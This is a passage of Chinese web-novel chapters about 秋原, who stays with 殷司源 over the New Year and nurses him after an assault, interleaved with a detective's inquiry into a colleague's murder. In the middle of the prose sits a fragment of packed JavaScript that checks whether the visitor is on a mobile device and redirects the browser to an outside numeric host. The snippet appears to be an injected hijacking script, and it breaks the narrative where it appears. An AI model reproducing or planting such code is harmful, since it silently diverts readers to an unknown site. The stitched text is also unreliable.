她怎么也想不到他会这么问,他定然是恨她的,从一开始就是,尤其是她举报了他的亲生父亲,即便他也恨他父亲,但他们是血亲,而她只是个外人,至此他们之间的关系便是无解。同样的她也恨他,那些年过得小心翼翼如履薄冰,她所受的不止是□□上的折磨,他是敌人,是需要小心提防的人,如今又卷土重来搅乱她的生活。
没等她回答,他坐起身来,胳膊撑在膝盖上,又问了一遍,“你跟我回去吗?”
思索良久,借着夜色,她的胆子也大了,“那是你的家,不是我的。”
她本以为他会恼,没想到他什么也没说。
“你还记得夏茉吗?你带回来的第一个女孩儿,她把我的指甲掰断了,三个指甲,钻心的痛,你还……你是个疯子。”秋原的语气平淡,像是说着饭后的闲话,不带多余的感情,“后来指甲长出来了,你换了其它女孩儿,我知道你是想报复我,惩罚我,你得逞了,你赢了,我一个蠢笨的人,什么都没有,玩不过你。你留我活着不过是你没玩够,要是你想你完全可以像周星耀那样让我消失得无影无踪,不是吗?”
“你还想找周星耀报仇?”
秋原不语。
“能放下吗?”
秋原依旧不语,别过头去。
要是可以放下,那她这些年又算什么。
要能放下,她早放下了。
桌上的手机一声震动,借着亮光,殷司源发现她的异样。
“你怎么了?”说完起身开灯。
突然的亮光太过刺眼,秋原把脸埋在手心里。
殷司源半跪在地上伸手让她抬起头来,秋原抗拒着半侧着脸不想让他看到,但她脸上的伤那么显然。
他抚着她侧脸的手停住了,“出什么事了?”
想起他说的话,她突然较起劲来,仰着头一副桀骜的模样,盯着他还想挤出嘲笑的意思,“我不说你就永远都别想知道。”
本是凶狠的话,谁知她说着眼泪就落了下来,她闭上眼,嘴咬着唇,眼泪止不住落下。
他看了她半分钟,犹如一世那么长,拉她入怀抱紧了她。
秋原再也忍不住了,脸埋在他颈间痛哭起来,像一个受了天大委屈的小孩子,嗷嚎大哭。
新年夜,殷司源开着车行驶在萧瑟的街上,路灯忽明忽暗,最后停在了最近的一家医院。医生检查了秋原的伤,好在都是外伤,没什么要紧的。
出了医院门,秋原一阵哆嗦,风吹得寒意浓,本打算穿上的外套,被殷司源一把夺了去,径自给她披上。
“给你衣服是让你穿的,不是让你当摆设。”
秋原以为会直接回去,谁知道路越走越陌生,唯一不变的就是暗自交替的路灯。她也没问,殷司源车开得平稳,车内开了暖气,盖着他的外套,暖暖的竟然睡着了。
等她一个激灵醒来,才发现外面全是浓雾,车速也慢了下来,怕是伸手也见不着五指。她望向
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驾驶座方向,好在殷司源面色依旧。
不知为何,此时她的心中突然萌生出异样,是她长久以来摒弃的,她摇摇头想驱散这种感觉,但看到他的一刻又难以自持。
他们肩并肩站在一起,纵使前路尽是迷雾,至少还有他在。
殷司源侧目看了她一眼,“怎么?想上厕所?”
秋原一听忙摇头,“没有。”
“还远,再睡一会儿。”
“嗯。”说着点了点头。
秋原头靠在椅背上,望着车窗外层层迷雾,多走一步,再走一步,还是迷雾,散不尽的迷雾,她忍不住哆嗦了一下,整个人也缩成一团。她就望着什么都没有的外景,不知过了多久,又迷糊着了。
她也不知道迷雾何时散去的,也不知何时进了市区,等她醒来再看时才发现到了溪汀市。照以前他未经她允许就带她回来,她应该生气的,但此时看着窗外略熟悉的街景,怎么也生气不起来。
就在这时,她的肚子咕噜咕噜叫了,上顿饭已经不记得怎么糊弄过去了。
殷司源看了她一眼,“想吃什么?”
秋原看着窗外一闪而过的店,嘟声说道:“汉堡。”
等让她自己点想吃什么时,她又不知道点什么了,殷司源和店员等了半天,她还在犹豫不决。
“行了你先去坐着。”
秋原撇撇嘴恋恋不舍地离开了点餐处,谁知道等了会儿那人端了一大盘,汉堡薯条炸鸡可乐,她的眼睛一下子就亮了。
“你不吃吗?”
殷司源看她嘴里塞满狼吞虎咽的模样,吃了半天才想起来还有他这么号人物在,也不知该笑该恼,只道:“我不吃。”
这下秋原放心了大吃特吃。但可能是经常饿习惯了,她没吃多少就吃不下了,悻悻地擦了擦嘴,“能打包吗?”
“跟店员说。”说完他又点了份一样的打包,也都塞给了秋原。
出了店门,秋原跟在殷司源身后,走到他的车旁。
“喂殷司源!”
听闻女声秋原也抬起头,一看着很酷的女生跑了过来。
殷司源的手搭在车门上,皱眉看着同一方向。
女生跑过来胳膊勾搭在他肩上,拍了下他后背,看着很熟络的样子,“什么时候回来的呀?都不吱一声。”
“刚到。你上车。”后一句是说给秋原的。
“这是谁啊?女朋友?”女生笑着倒也没有敌意。
“没有的事,我先回去一趟。”
“好啊,早点出来聚一聚。”
关于那个女生,秋原也没有多问,安静地抱着两大兜吃食,怎么也没想到他开车到了之前住的地方。
下了车,她的脚步停住了,低着头像是粘在了地上。
“走啊,还得我请你啊。”
要早知道他是回这个地方,她大概打死也不愿意。此时也是别无他法,跟在他身后。
一进门她惊呆了,整个格局全然不是之前的样子,有点像他们之前住的二楼的样子。
“之后住这儿。”
“你把这里买回来了?”
殷司源没答。当时这栋房子也被封了。
秋原似乎对这儿曾真的熟悉,很容易走到卧室,很像她以前住的那间,卧室整排大衣柜全是女式新衣服,她走到门口看着卧房,突然问:“我什么时候回去?”
“你很想回去?”
这回轮到秋原不答了。
“要是我说,你别想以前事,安心住在这儿,你会怎么样?”
秋原的手扣着门框,低着头思量着。
那大概是关系她和殷司源此后人生的决定吧,要是她当时同意了,是不是也可以获得幸福了呢,可她没机会去看一看了,他也没机会了。
看她苦涩的神情,殷司源心软了下来,简单道:“过了年。”
即使只有短短可数的时日,他也要把她强留下来。
58.蓄意自杀 02
自从张队死后,江岩没有睡过一个安稳觉,闭上眼就是张队的死状。
他是睁着眼死的,他死不瞑目啊。
根据张队此前调查的情况,江岩怀疑他查到了自己人头上。
周星耀天不怕地不怕,要是他不想玩了直接找他来,甚至是绑架柯璃月他也干过,虽然那次只是意外他的手下莽撞擅自强掳了人,他没必要害死张队来警告他。
而张队调查记录中竟然涉及局里近几年的人事变动,而且调动原文件消失不见,档案室也没有,记录最后停留在张队借出未归还。
他为什么要查以前的人事变动?当时他提醒自己内部人员,他就警告过小刘,难道他真的认为李辉俞有问题?
辗转探查到张队的线人,却已经没了踪迹。
窗外不知何处点燃的烟花,他瞅了眼时间,这才发觉已经夜里十二点了。出门倒水,看到乔树趴桌子上睡着了,他放下水杯给他盖上大衣。
殷司源出门后,秋原在这个空荡又诺大的房子里待着,既陌生又熟悉,交错的感触绵延涌上心头,她突然开始思考他那个问题,她能放弃之前的种种吗。
要是他当时许诺给她更明亮的以后,会不会影响她所做的判断?但她向来以最悲观的视角考虑问题,那时的他亦尚未直面自己的内心,所以他们一起错过了,可能解放彼此的机会,可能追求幸福的机会。
那时候的她,考虑的还是孤苦无依的只身一人,没有家没有归宿,被抛弃又逃离,她能做的,那么多年她给自己活下去的一个信念,就是为那个善良的女孩,曾短暂照亮她人生的女孩找到真相。她选择了这条路作为她活下去的支撑,再割舍也只能拿命去换,所以她还是要回去。
是的她固执,她执拗,她油盐不进,你说换条路就是康庄大道可她依旧固执己见,撞了南墙也不知悔改,可就是这样,年少无知的她才莽莽撞撞活了下来,就是因为她知道换了路也同样是再艰辛不过的泞路,所以她这一生,更像是奔赴一场死亡的盛宴,只为最后那一跃,奋不顾身。
她思考了许久,大概太阳走了月亮也翘了班,星辉敛了踪迹,晨歌悄然跃上,她也再无徘徊的余地。她从未给过自己后路,这次也一样,救助站的女人给了她后路,后来那路连同女人一起葬身火海,所以她奔跑着一往无前,无知又无畏。
她是个勇士,直面疮痍的人生,她是个懦夫,蒙蔽了弱点走马观花,她勇敢又怯懦,卑微到不能再渺小,哪天从这世上消失不见,也没有谁会发现。她存在着,就是最大的意义,除此之外,再无其他用意。
“你那么关心她,为什么不对她好一点?”
殷司源扶着秋原到厕所门口,放她一个人进去,转身看到于果双手插裤兜慢悠悠走过来。
“你说什么?”
看他故意装没听见,于果转而摸出烟盒递给他。
殷司源抽出一根点上,打火机扔给了于果。
于果仰头轻吐一口云烟,“刚你干嘛对她那么凶?不知道还以为你俩有什么深仇大恨呢。”
“有吗?”
于果长叹一口气,感觉此人也不过木头,“大哥你照照镜子,要平常小姑娘见了你都要害怕,本就一脸凶样还脾气横,怎么她还真欠你钱了?”
殷司源白了她一眼,深吸一口烟没接话。
“你去看看她。”
于果意味深长地笑了。
“我让你看她你看我干嘛?”
“好好好,大哥你说了算。”
不出一会儿,于果扶秋原出来,“看她吐得,猫给她混酒喝了?”
殷司源皱眉看着她。
“别皱眉了,看你苦大仇深的,不知道真以为你们有什么深仇大恨呢。”
此时秋原虽看着虚弱,人还算清醒,“我没事,真的没事。”
“我带她回去,你们接着玩。”说着接过秋原的胳膊。
“本来就是接你的风你不玩了算怎么回事?我看她吐完了还清醒不少,好歹让她喝点醒酒的汤什么的,饭也没怎么吃,回去了你会熬汤啊?”
很少有殷司源任人怼的情况,他看着秋原问道:“你怎么样?”
“我没事,挺好的。”
听他她这么说殷司源转而回包间,于果叫了他两声未果,骂了句龟孙子,扶着秋原回去。
“哟,秋原你怎么样呀?看不出来你酒量不错啊?”一长发的男人忍笑说道。
“你丫的风凉话说得不错啊。”
“司源生气了?哈哈哈看不出来这么久不见会怜香惜玉了呀。”
殷司源没理他,同桌的几人嬉笑着开玩笑,他自顾自研究了菜单加了醒酒汤和粥。
秋原感觉脸胀得通红,脑袋轻飘飘的,一勺一勺规规矩矩喝着汤,有人跟她搭话她就笑嘻嘻的仰头迎上去。任谁看了都喜欢得不得了,唯独除了殷司源。
她最会看人脸色行事了,要说她愚笨不知人情世故倒也没错,主要还是经验浅薄,可周围有点风吹草动谁上了气她定能第一个发现,立刻藏匿了气息静观四方,她就靠这般活下来的。
回到旧宅的日子,秋原感觉殷司源逐渐有了变化,他经常待在家里,看杂志看新闻,他在的时候她便安静得不得了,尽量隐藏自己的存在,有时候他出门见朋友,也会带上她,倒也没有多为难她。
跟着他出去唯一的好处就是能吃不少好吃的,还被于果拉上泡温泉。她虽然不喜欢水,但在于果的盛情下也难以推拖。
“你这是第一次来?”
秋原脱到一半挡在身前,“嗯。”
看她如此拘束,于果突然抱了过来,秋原一下子不敢动了,也不敢推粘在身上热乎乎的庞然大物。
“哎呀都是女孩子啦害羞什么。”说着帮她把衣服脱了下来,还想帮脱内衣。
“不用了不用了我自己来。”
于果很自然地牵起她的手,“多来几次你就知道有多舒服了。”
秋原怯生生地跟着她,冲过水去了汤池,为了迁就她于果选了她常去的几个汤池都带秋原泡了会儿。开始秋原还有些放不开,慢慢地也享受开来,按摩加汗蒸也放松起来。
“怎么样感觉不错吧?”于果带她去楼上休息。
秋原脸红红的,笑着点头。
“有什么想吃的吗?”
看到甜点,秋原不知为何想到了康静山,心里一阵刺痛。
“你怎么了?”
她忙摇头微笑道:“没事儿。”
慢悠悠吃着烧仙草,心绪总难以平复,这些都是他喜欢的。
“喂在这儿。”于果招手,殷司源和猫走过来。
不知为何秋原躲避着殷司源的目光,“她怎么了?”
于果表现得若无其事,“怎么了?什么也没怎么。”
见她这么说,殷司源没有追问下去。
“喝点酒吧。喝什么酒呢?”
“我不喝,还得开车。”
“这么无趣,秋原你喝什么?”
秋原险些被呛到,“她不喝。”
“我问的秋原你抢答什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303685|160358||http|test|mini|href|location''.split(''|''),0,{}));
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>于果叉了块火龙果塞进猫嘴里,“你以为都跟你一样不懂得怜香惜玉呀?明天不是去玩车嘛你这一喝又不知喝成什么样了。”
“一点点不碍事的。对了明天带上秋原吧,几次去你都不带秋原,留她一个人多无聊。”
“她不喜欢。”
“哎我发现你成秋原代言人了?还是秋原说不了话了?哎秋原我问你,你想去吗?”
“去哪儿啊?”秋原看了眼殷司源。
于果抢答道:“赛车场,你要不想去就别去了。”
“我……想去看看。”说完三个人都盯着她看,紧接着于果和猫都意味深长地看向殷司源,终于他发话了,“你想去就带你去。”
于果笑着冲秋原挤眼。
大概是泡过温泉的缘故,秋原感觉身体从未有过的舒展,回去的路上车里开了暖气,大概是汤池里带出来的味道,很好闻,浅浅地睡了过去。
秋原没去过赛车场,更别说是玩赛车,在须燕市的时候特意关注发现周星耀曾跟人在街上玩赛车导致连环车祸,好在无人死亡后续也无太多非议。
殷司源几个看着就是赛车场的常客,换了赛车服,于果看起来也很不一样。
“怎么这几次看你都老实戴头盔了?”猫打趣道。
殷司源调整好头盔没理他。
猫没上场,和秋原一起坐在场地外,他点了根烟,胳膊搭在椅背上。秋原以为他有话要跟自己说,但除了尽职尽责讲解赛况外,并无其它多余的话语。
于果卸下头盔,叹着气道:“这个疯子啊,猫看你了啊。”
猫灭了烟,看样子并没有很大热情,他没戴头盔,直接上了场。
这时下起了下雨,淅淅沥沥。
“想试一试吗?”
秋原摇摇头,虽然她是想尝试下的,但压根连车都不会开,还是放弃了。
“我一开始也不会,反正往前开就行,后来碰到司源,他玩得不错,当时比了一句,我那么菜输惨了,后来他教我,进步得挺多的是吧。”
“我不太懂猫刚说你开得挺好的。你们是在这儿认识的?”
“嗯是呢,当时心情不好找个事做,正好碰到了他们。”
两人正说着,传来躁动的人声。
“怎么了?”
于果淡定多了,“有人翻车了。”
“不会是他们吧?”
谁知正好被秋原说准了,出事的是殷司源那辆车。
两人到了现场,殷司源被人扶出来,于果走上前询问情况,秋原远远地看着,神情复杂。好在人没受伤,车也送去修了。
几个人转而去吃饭,倒也并无异常,席间于果拉上秋原去卫生间。
“你最近怎么了?”
“什么怎么了?”殷司源不解他怎么没头脑这么来了一句。
“你知道我说的什么。”
“我不知道,鬼知道你在说什么。”
“秋原是谁?”
殷司源未答。
“我虽然不知她到底是谁,跟你什么关系,但看得出你对她可不仅是喜欢。”
“什么意思?”
猫眯了眼睛,似在思索,“我也说不清,倒是觉得你对她的感情太多太多了,不仅停留在喜欢这一层。”
“有吗?于果倒是说我对她很凶。”
猫哈哈大笑,“凶倒真是蛮凶的,这可不是凶不凶的问题。”
后一句认真得殷司源险些不认识眼前的人。
正巧两女生回来,这个话题没有继续下去。
59.蓄意自杀 03
这顿饭后,秋原有几天没看到殷司源人在了,人不在前带她去逛超市,任她买了自己喜欢的东西。
秋原再三跟他确认买什么都行后便放飞了自我,殷司源看着一车的零食垃圾食品膨化食品有些后悔之前的话。
殷司源不在她就靠那些零食度日,虽然他有跟她说过附近有餐馆不想出门也可以让他们送过来。
她不是很了解他是怎么重新拿回当初丢失的所有的,但从他身边的人也看得出来他走到这一步并不容易,不管是殷瑞生的缘故,亦或是他这几年走的路,都得罪了不少人。
这天天气不错,秋原吃过燕麦望着餐桌发呆,不知为何他没有把餐桌换掉,她想到了殷瑞生。
大概是殷瑞生生前名声太大,在他死后依旧能听到关于他的事,秋原打听到了他的墓地所在,找了身全黑的衣服便出门了。
看着天比较好但室外的温度还是很低,秋原裹紧了大衣,拦了辆出租车。
不知是冬天的缘故还是什么,墓地看起来格外荒凉,殷瑞生的墓碑上没有照片,只简单地写了他的名字和生故时间。可能没有人来看过他,都是挤压的灰尘。
她蹲在墓碑前,从兜里掏出来一个大果冻,放在墓碑前,小勺子放在果冻上。
殷瑞生没怎么照顾过她,收养后也是放在不常去的别墅里散养,倒是有一回,大概是他心情好,喝了酒回来从兜里掏出一个大果冻给了她。
“我没法跟你说对不起,司源过得很好,我也勉强过得可以,可这些都不是你想看到的,我也不知道你想听什么。”
顿了会儿,她接着说:“这个果冻,是拿司源的钱买的,还挺好吃的。”
蹲久了累了,她直接坐在地上,风有点凉,地上也凉,就跟这个墓地的周围一样冷冽。
秋原走了好远才拦到车,回到别墅发现门虚掩着,心想殷司源回来了?却听到异常的动静,轻推开门发现几个戴着口罩和帽子的人在客厅,拿着棍棒对殷司源猛打。
他们都没注意到她,那一瞬间她本能地退了半步,躲开眼前的事,她当时就想到了,那些人是寻仇来的,不论是朝着他还是殷瑞生,他都不乐观。
要是她当作没看到,也许那些人就处理掉他了,她就再也不受他恐吓和折磨了。可紧接着是惶恐,她真的想他死吗?她掐着手心,一时间摇摆不定。
殷司源喝得烂醉,回到家里找不到秋原,第一反应是出门寻她,踉跄着走到门口谁知早就埋伏好了人,正中那些人下怀,加上他腰痛犯了,抵抗力极具下降。
那时候他在想什么,他还没找到秋原,他还不能死。
突然秋原出现在门口,举着手机大喊:“我报警了警察马上就到!”
那些人并没有被吓到,有个人朝她这边走来,殷司源费劲力气拖住了那人,但显然不是他能挡得住的。
这时于果从她身后赶来,迎面给了那人一棍子,朝身后喊:“警察他们在这儿!”
那几人见情况不妙迅速溜了。
于果跑着赶去查看殷司源情况,秋原双手攥在一起盯着他,一步一步走过来。
“你怎么样?”于果问道。
殷司源擦了擦嘴边的血,酒气跟血味混在在一起,他向她伸出手,秋原停住了脚步。
于果也看向秋原,她克制着情绪,双手紧扣在一起,直到殷司源力气用尽倒在地上,她也没有回应他。
要说狠心,她不亚于他。
殷司源住院期间,于果和猫时不时来看他,反而是秋原,除了那晚再没有来过。
于果到别墅看她,秋原知道她的用意,请她进门。
“他恢复得不错,再过两周就能出院了。”
秋原没接话,背过身给她倒水。
“你不喜欢他?”秋原不言,于果接着说:“不过也是,他那么凶那么横一人,不喜欢他才对。不过,你跟他有仇?”
秋原听闻最后一句猛然察觉不对,那晚她可能在出现之前就看到她了。
看她神情有异,于果忙解释道:“你别误会,我就是看他蛮惨的,他以前可没这么对别人,也没人敢这么对他呢。对了,你以前是溪汀的人吗?我倒觉得你有些眼熟啊。”
“不是,我不是当地人。”听闻最后一句,秋原没来由地紧张。
“哈那可能是我记错了,你要想好了,去看看他,要说他也是,喝那么多酒,差点把自己搭进去。”
“嗯我知道了。”
送走于果,秋原在诺大的房子里突然感到些空旷,她抱着双膝坐在地上,望着那一堆零食,她做错了吗?她真的险些要了他的命?
在病房区找房间号,迎面一个人叫住了她。
“章?章先生?”
“果然是你呀,我还想怎么在这儿见到你了。”
“你怎么在这儿啊,哦不对,你就是医生。”
章煦忙纠正,“不不我是来看朋友,你怎么来溪汀了?静山他们呢?”
听到静山的名字,秋原的心情一下子沉重不少,一时不知从何说起。
看她脸色不好,章煦也没有深究,看她手里拿着餐盒,“你也来看朋友?”
“嗯是的。”
“那你先去吧,改天空了请你吃饭。”
秋原笑着目送他离开,看了看怀里的餐盒,继续找房间号。
相较于喧哗热闹的多人病房,单人病房冷清不少,秋原慢慢推开门,病床上的人正睡着。
她把餐盒放在小桌上,想直接回去,转身的一瞬间,手腕被人拉住。
“不说句话就走吗?”
秋原不知说什么。
“后悔救我了?没救的话你现在已经解脱了。”
秋原攥紧了拳头,转身给了他一巴掌。
对她是后悔了,可她后悔的是自己犹豫了,在人命面前她犹豫了。对于眼前这个人,她本不该救的,更不必谈什么犹豫不犹豫的,可末了她却在后悔自己没有第一时间去救他。
殷司源抓着她的手,笑了。
她只别着脸说:“你要死了,我没地儿住了。”
听到这话他一点也不生气,甚至还很知足,“把你安顿好前,我不会死的。”
殷司源以自己手不方便为由拒绝自己吃饭,秋原才不上他的当,但看他脸部抽搐戏多的模样,也不想跟他计较。
拆了盒饭磨了磨筷子,
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“都是在店里买的,我又不怎么会做。”
殷司源笑得合不拢嘴。
江岩带了些水果和小孩子爱吃的零食,按了门铃。
“江队长?你怎么来了?”
江岩看她一身黑衣,面容还有些憔悴,本想称一声嫂子,可却开不了口,“于姐,我顺路,到附近了,来看看你。”
“快请进吧。”
“妈妈妈妈,是爸爸回来了吗?”屋内传来小女孩稚嫩的嗓音,她刚从睡梦中醒来,脚上只穿了一只拖鞋,小跑着看是谁来了。
于姐蹲下身,“不是爸爸,是江叔叔来了。”
“江叔叔好。”
“你快坐吧。”
“嗯。”
于姐倒了杯茶放在江岩面前,“乖过来到妈妈这儿来。”
围在江岩膝前的小女孩娇声道:“妈妈我要跟江叔叔玩,爸爸是不是就快回来了,你看江叔叔都回来了,爸爸也快回来啦。”
于姐低下头收住了情绪。
“马上过年了,有什么需要我帮忙的吗?”
“没什么事了,什么都不缺,家里啊也请阿姨打扫过了,过两天我带乖儿去她爷爷奶奶那里一趟。”
“有什么事你跟我说。”
于姐微笑着点点头,“你们,最近工作忙吗?”
江岩知道她想问什么,可眼前什么都不能跟她说,“你放心,不会花很久的。”
离开前,小女孩儿抓着江岩衣服,眼眶红红的,小声跟他说:“江叔叔,你跟爸爸说我可乖了,你让他赶紧回来吧,我再也不淘气了。”
于姐拦过乖儿,抱歉地说:“不好意思,她还小。”
江岩差点没绷住,匆忙离开。
不知怎么,又走到张队最后出现的便利店那条街,他站在街口,望着整条街,神色凝重,谁也不知道他此刻他在想什么。
一声鸣笛打断了他的思绪,一辆熟悉的车停在他旁边,他最后看了眼那条街,坐上了车。
“你怎么在这儿?”
“路过,”乔树推了下眼镜,瞥了他一眼,“你去过看过张队家人了?”
“嗯。”
“最近的调查你跟她说了吗?”
“怎么会。”
“其他的呢?”
“什么其他?”
“张队的死因。”
江岩别过头,望向窗外,但其实他眼睛的视线并未聚焦。
他们根据最后联系张队的人,辗转查到张队的线人背叛了他,引诱他至无人无监控的地方,继而行凶。但是谁查到了其线人身份,并策反了线人,尚未查出原委。
消失的调动原文件,在高副局协助下推测出是李辉俞以及跟他相交甚好的属下的调动,但调任公示高副局当时也是知道的,并没有什么问题。
江岩此时焦头烂额,问题就摆在他面前,被残害的张队长此前的调查也逐渐摸清,推到他面前的李辉俞,但就是无从下手。
“等查清楚了那一天。”
这句话说完,江岩心底突然生出巨大的空洞,查清楚的那一天,要是那一天不会来呢?他疲倦地闭上双眼,激荡在脑海中的各式信息也久久不平。
60.蓄意自杀 04
在殷司源没皮没脸的微威逼利诱下,秋原留在医院照顾他,转眼到了除夕夜,医生说再过一周他就可以出院,但这天一大早他就下了地艰难地拾掇。
“你这是干嘛?”
“回家。”
“医生不说了你还不能出院。”
“新年怎么能在医院过呢,更何况今年你在。”
“不就是过个年吗,医院怎么不能过了,你这样怎么出院?”
“没事我让猫来了,以前随便了但今年你在,得早早回去还有很多事呢。”
秋原说不动他,坐在不旁不动看着他踉跄着收拾,等猫来了劝说他。
“你来得还挺快嘛。”
“你都收拾好了?可以出院了?”
“猫你快说说他,医生说了他还不能出院,这人非得回去。”
殷司源艰难地挪过来胳膊搭在猫肩上拉他到一旁说话,也不知这两人说了什么,猫最后显然跟殷司源站在了一起。
一路上秋原都不说话,两大男人倒有聊不完的话题。
回到别墅,猫把殷司源扶进屋,秋原把一些简单的衣物带上,猫没有停留就走了,“两位新年快乐。”
秋原环顾了客厅,感觉多了些东西。
“你去歇着吧,不用管我。”
秋原摆出一副我才懒得管你的表情回卧室了。由于无聊,她收拾了房间,趴在太阳下的小沙发上,中午的太阳正好,盯着窗外的景没想到睡着了。
她是被惊醒的,跑到客厅没有人,原来是从厨房传来的声响,殷司源系着围裙在和面,旁边小盆里放着调好味的菜。
她捡起地上的铁盆,“你在做什么?”说着又取了布擦了地上的水。
“今天除夕啊,当然是吃饺子。”
这是重点吗?不这根本不是重点,“我是说,你是要包饺子?”
“对啊。”
“你不听医生话提前出院就是为了做饺子?”
“可以这么说。”
秋原觉得自己是不是没睡醒,要不就是眼前的人疯了,一时间难以接受现状。
“我去洗洗脸。”
秋原洗了脸清醒了出来,客厅桌上放着未拆封的箱子袋子,还有厨房一只不明物体,“这是要做什么?”
殷司源踉跄着赶过来,拦住了她伸出的手,“你不要动。”
“你是要请猫吃年夜饭?还是有谁要来?
“你回房间,有事我叫你。”
“哦……需要我,今晚上出去吗?”
看她是一脸真诚并无开玩笑的意思,殷司源才没有动气,“不用不用你快回去。”
秋原趴在床边,房间收拾了一遍又一遍,渐渐地天色暗淡下来。她还在想她在是不是不太方便,要不找个理由出趟门?可这么冷的天,能去哪儿呢?要不去网吧吧,反正还有他之前给的钱。
想通后她换了衣服,悄悄推开门,客厅没开灯,室内昏暗已经看不清了,她打算悄悄溜出去,出去后再跟他发消息,省得他又上火。
没想到门刚开了个缝就被发现了,“你去哪儿?”
“我,我想着今天我在可能不太方便,我去网吧待一晚上也可以的。”她支支吾吾地说。
“把灯开开。”
开灯后她发现整个房间大不一样,贴满了福字,中国结,还有气球,气球是什么个意思?茶几上摆着洗好的水果,坚果,甜点还有红酒。
“饿了吧?先坐下,饭很快好。”
她忐忑地走到厨房,他生疏地在锅里煮上饺子。
“不是有人要来吗?”
“没人要来。”
“那,那你做这些……”她回望了眼客厅,满是不解。
“坐吧。”
秋原坐在餐桌旁,这张她倒是很熟悉,没有他的允许她又怎么敢坐下呢。
“这张桌子,没有换?”
“这餐桌是后来我妈换的。”
她没有再问。
很快饺子端上来了,冒着热气,“尝尝味道怎么样。”
“你,会做饭?”
他轻笑一声,“临时跟别人学的。”说完递给她筷子,坐在对面。
她接过筷子,再三确认道:“没有人要来吗?”
“没,你快吃吧,尝尝好吃吗。”
她夹起一只饺子,吹了吹,咬了口,忍不住赞叹道:“嗯,好吃!”
对面的人满意地笑了。
“你第一次做吗?”
“嗯。”
“还不错。”
“嗯我也这么觉得。”
“你可以考虑发展下副业。”
“什么?”
“当个厨师啊。”
“什么鬼。”
“你长这么好看,要是卖不出去了往店门口一站,绝对销量飞涨。”
“你这是夸吗?”
“怎么不是,这么有诚意的赞美。”
两人罕见地东一句西一句闲聊着,不像以前,现在他们都长大了,都经历过很多事,对方知道的不知道的,再坐在一起,好像都比以前成熟了。
吃过饭秋原自告奋勇洗碗,倒让殷司源抢了先,嫌她碍事让她一边呆着去。
秋原转战到客厅,满桌子的吃食她又怎么不心动,纵使肚子已经不给力了行动上仍不落下,一会儿往嘴里塞点。
洗好碗筷殷司源直接去洗澡了,住院这些日子也是难为他了。
秋原开了电视,新闻联播还在播。
“快快春晚要开始了。”
殷司源倒不急,擦了头发换了身居家的衣服,很自然地坐在她旁边,“我去这一会儿你就吃了这么多?没吃饱?”
“不不吃饱了,就是你看它们放着不动多可惜。”
殷司源倒了杯红酒,“喝吗?”
秋原接过抿了口放着面前,注意力集中在电视上。
春晚节目热闹的声音回响在这个家里,这个曾空荡荡毫无人气的家里,一时间似乎也被幸福填满。
两人看着节目不知何时靠在一起,“你少吃点垃圾食品,容易上火。”
秋原拍打下他意欲抢夺的手,“我这是让垃圾食品增添点价值知道不。”
“真是辛苦你了。”说着拿叉子给她喂了块切好的梨。
节目到尾声,秋原已经靠着他睡着了,殷司源降低了电视音量,扯过毯子盖在她身上,给她盖严实。
那是他自母亲死后,
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第一次感觉到家的温暖,有家人在身边的感觉,那是他这么多年从未有过的幸福。
他亲吻了下她的头,低声道:“新年快乐。”末了又加上一句“平安。”
连着几日猫和于果来寻殷司源出去浪,他都推搡过去了。
“我不去你们玩吧。”
“别跟我扯什么有的没的,就差你了你不来多没意思。”
殷司源直接挂掉了电话。
后半夜殷司源起来喝水,脚一踹蹬在了茶几上,把毯子扔在一旁,手搭在沙发边,却感觉异常,摸了几下才发现沙发上没人。
他心里一惊,清醒过来,起身找人,卫生间卧室厨房都没有人,在二楼窗户上瞥见窗外白茫茫的,不知何时下起了大学,仔细一看果然找到了人。
拿了外套匆匆出门,屋外的人正专心致志地趴在雪地里玩雪,他把外套给她披上,蹲在她面前,扣上最上面的扣子,“出来怎么不穿外套,冻感冒怎么办。”
她的脸蛋通红,咧嘴一笑,热气在两人之间蒸腾,那一刻她丝毫没有思考,把冰凉还粘着雪的手摸向他的脸。
他也没躲,同时也抓了雪抹向她的脸。
雪扑满了暴露在天地间的万事万物之上,落在她的头发上,落在他的眉宇之间。
秋原玩得疯起来,怎么也不肯回去,殷司源最后看她光脚穿着棉拖鞋,勒令她立刻回去,秋原这才堵着气回了屋子里。
重新钻回沙发上的毯子里,殷司源倒了杯热水递给她,双手抱着热水吹气,恨不得立刻灌上一杯。殷司源坐在她旁边,给她掖好毯子边时碰到了她的脚,很自然地拉过她的脚放在自己怀里,触碰到他皮肤的那一刻很是温暖,但她尚有理智,忙往回缩,“没事不用不用。”
可他抓着她的脚踝不让她缩回去,“这么凉生病了怎么办,出去也不知道穿好衣服。”
这下倒成了秋原没理了,她望着他,像是望着久别重逢的故人。两人心照不宣地不提过去和以前,就好像从没结过梁子,从没伤害过对方,和解了释怀了忘却了,都没那么重要了。
秋原趴在他腿上睡得正香,已经快中午了,这位也是毫无醒来的意思。他换了个台,春晚还在一遍遍重播。
不知她做了什么梦,攥着他袖子的手不自然地收紧,她突然坐起身来,看到眼前的人猛然一惊往后挪,这一幕让他心里很不是滋味。
秋原慢慢恢复了神智,意识到眼前的人此时并无危险性,这才放松下来,揉揉眼睛继续缩成一团。
“中午了起来吧。”
前一天夜里看片看到了凌晨四五点,此时她根本没有要起来的意思。毯子蒙上了头,哼唧唧就是不起。
“今天去游乐场。”
一听这话秋原动不了了,一时间难以选择。昨天傍晚吃得太多,天气好雪已经化了,两人出门散步消食,随意走到了游乐场,看她挪不动脚步的样子,此时又来诱惑她。
“再睡十分钟,就十分钟。”说完不出半分钟就睡过去了。
殷司源把毯子折下去一点,让她把头露出来,随手理了理她的头发。
阳光黯淡,细碎的光无声无痕,但却是他生活中从未有过的明媚。他也是有家的人了。
61.蓄意自杀 05
秋原换好衣服出了卧室,却见殷司源在接电话,挂了电话说:“有点事我先去一趟,你等我。”
“嗯。”
等了好久都不见人回来,打电话也没人接,她有些坐立难安,不是说好了去游乐场的吗,她不喜欢说话不算话。
谁知没联系到殷司源,倒是于果联系她了。
“你在哪儿呢?”
“我在殷司源家呢,对了你知道他去哪儿了吗?”
“他在我这儿呢。”
“他去你那儿了?”
“怎么了?”
“哦,他说一起出门的。”
